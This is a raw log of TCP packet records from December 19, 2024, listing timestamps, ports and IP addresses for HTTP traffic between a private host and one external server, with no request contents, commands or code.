Dec 19, 2024 08:00:49.486871004 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.486876011 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.486980915 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.530534983 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.530666113 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.650779009 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.650981903 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.698343992 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.814548016 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.814929962 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.018507004 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.018604040 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.262320042 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.262386084 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.370323896 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.370593071 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.370697975 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.382266998 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.382333994 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.490597963 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490683079 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490691900 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490710974 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490720034 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490729094 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490752935 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490813017 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490906000 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490915060 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.490927935 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.490981102 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.490986109 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491034031 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.491049051 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491096973 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.491126060 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491168976 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491187096 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.491228104 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.491257906 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491441011 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491563082 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491573095 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491662979 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491739035 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491748095 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491818905 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491904974 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491949081 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.491990089 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.492049932 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.492134094 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.492182970 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.492264032 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.492353916 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.492472887 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.493103027 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.501935005 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.502027988 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.542321920 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.542571068 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.610951900 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611046076 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.611104965 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611177921 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.611203909 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611232996 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611248016 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.611293077 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611385107 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611403942 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611439943 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611484051 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611494064 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611577034 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611587048 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611648083 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.611690044 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.612821102 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.612852097 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.612881899 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.612925053 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.612935066 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613010883 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613022089 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613033056 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613049984 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613059044 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613159895 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613169909 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613220930 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613240004 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613274097 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613306999 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613358021 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613387108 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613440990 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613457918 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613544941 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613555908 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613622904 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613636971 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613723993 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613734961 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613806963 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613817930 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613920927 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.613930941 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614001036 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614032030 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614119053 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614144087 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614166975 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614269972 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614279985 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614289999 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614316940 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614346981 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614454031 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614464045 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.614475965 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.621539116 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.621733904 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.623470068 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.623544931 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.662199020 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.734545946 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.734564066 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.734569073 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.734572887 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.734616041 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.734626055 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.734635115 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.741992950 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.742096901 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.743122101 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743151903 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743210077 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743231058 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743295908 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743375063 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743386030 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743443012 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743460894 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743516922 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743527889 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743597031 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743611097 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743688107 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743699074 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743748903 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743865967 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743881941 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743892908 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743935108 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.743977070 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744045019 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744055986 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744148970 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744159937 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744241953 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744251966 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744430065 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744440079 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744452953 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.744462967 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.745270967 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.745744944 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.746104956 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.746117115 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.746714115 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747342110 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747493029 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747661114 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747775078 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747786045 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747795105 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747806072 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747817039 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747819901 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747864962 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747874975 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747883081 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747895002 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747905970 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747915983 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747925043 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747934103 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.747942924 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.751796007 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.751869917 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.861799955 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.861819029 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.861831903 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.861872911 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.861916065 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.861927032 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862082005 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862092018 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862102032 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862111092 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862140894 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862175941 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862304926 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862370968 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862380981 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862390995 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862479925 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862489939 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862540960 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862567902 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862663031 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862672091 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862708092 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862726927 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862819910 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862829924 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862878084 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862984896 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.862994909 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863023996 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863034010 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863095045 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863106012 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863192081 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863203049 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863300085 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863310099 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863481045 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863538027 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863646984 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863656998 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863681078 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863744020 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863827944 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863847017 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.863904953 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864012957 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864022017 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864185095 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864195108 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864206076 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864304066 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864314079 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864324093 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.864654064 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.864754915 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.871995926 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872033119 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872046947 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872083902 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872096062 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872117996 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872128010 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872180939 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872193098 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872385025 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872396946 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872451067 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872463942 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872498989 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872529030 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872586966 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872597933 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872710943 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872767925 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872855902 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872867107 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872967005 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.872977972 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873001099 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873012066 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873022079 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873033047 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873111963 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873122931 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873142958 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873153925 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873224020 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873275995 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873287916 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873322010 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873389006 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873400927 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873476028 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873486996 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873593092 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873650074 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873708963 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873720884 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873733044 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873862028 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873872995 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873924971 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873935938 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.873946905 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.874053001 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.874072075 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.874375105 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.874450922 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.874463081 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.874872923 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:50.984477043 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984494925 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984518051 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984528065 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984564066 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984639883 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984674931 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984764099 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984810114 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984822035 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984842062 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984869003 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984940052 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.984960079 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985049009 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985061884 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985112906 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985158920 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985209942 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985222101 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985311031 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985354900 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985425949 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985435963 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985562086 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985573053 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985620975 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985630989 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985716105 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985754967 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985908031 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985919952 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985930920 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985941887 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985985041 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.985995054 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986006021 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986016035 CET	80	49723	194.87.47.113	192.168.2.9
